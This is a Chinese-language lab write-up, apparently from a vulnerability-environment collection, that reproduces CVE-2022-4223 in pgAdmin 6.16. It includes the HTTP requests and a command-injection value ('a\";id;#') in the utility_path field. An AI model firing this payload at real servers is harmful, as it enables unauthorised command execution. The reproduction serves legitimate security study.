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2025-09-06 16:08:15 +08:00
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# pgAdmin <= 6.16 无授权远程命令执行漏洞CVE-2022-4223
pgAdmin是一个著名的PostgreSQL数据库管理平台。
pgAdmin包含一个HTTP API可以用来让用户选择并验证额外的PostgreSQL套件比如pg_dump和pg_restore。但在其6.16版本及以前,对于用户传入的路径没有做合适的验证,导致未授权的用户可以在目标服务器上执行任意命令。
参考链接:
- <https://github.com/pgadmin-org/pgadmin4/commit/799b6d8f7c10e920c9e67c2c18d381d6320ca604>
- <https://github.com/pgadmin-org/pgadmin4/commit/461849c2763e680ed2296bb8a753ca7aef546595>
- <https://github.com/advisories/GHSA-3v6v-2x6p-32mc>
## 漏洞环境
执行如下命令启动一个pgAdmin 6.16服务器:
```
docker compose up -d
```
服务器启动后,访问`http://your-ip:5050`即可查看到pgAdmin默认的登录页面。
## 漏洞复现
在复现漏洞前需要发送如下数据包获取CSRF token
```
GET /login HTTP/1.1
Host: your-ip:5050
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Connection: close
```
在返回包中拿到一个新的session id和csrf token
![](1.png)
然后将获取到的session id和csrf token填写进下面的数据包并发送
```
POST /misc/validate_binary_path HTTP/1.1
Host: your-ip:5050
Content-Length: 27
X-pgA-CSRFToken: [csrf-token]
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,en-US;q=0.7
Cookie: pga4_session=[session-id]
Connection: close
{"utility_path":"a\";id;#"}
```
可见,`id`命令已经被成功执行:
![](2.png)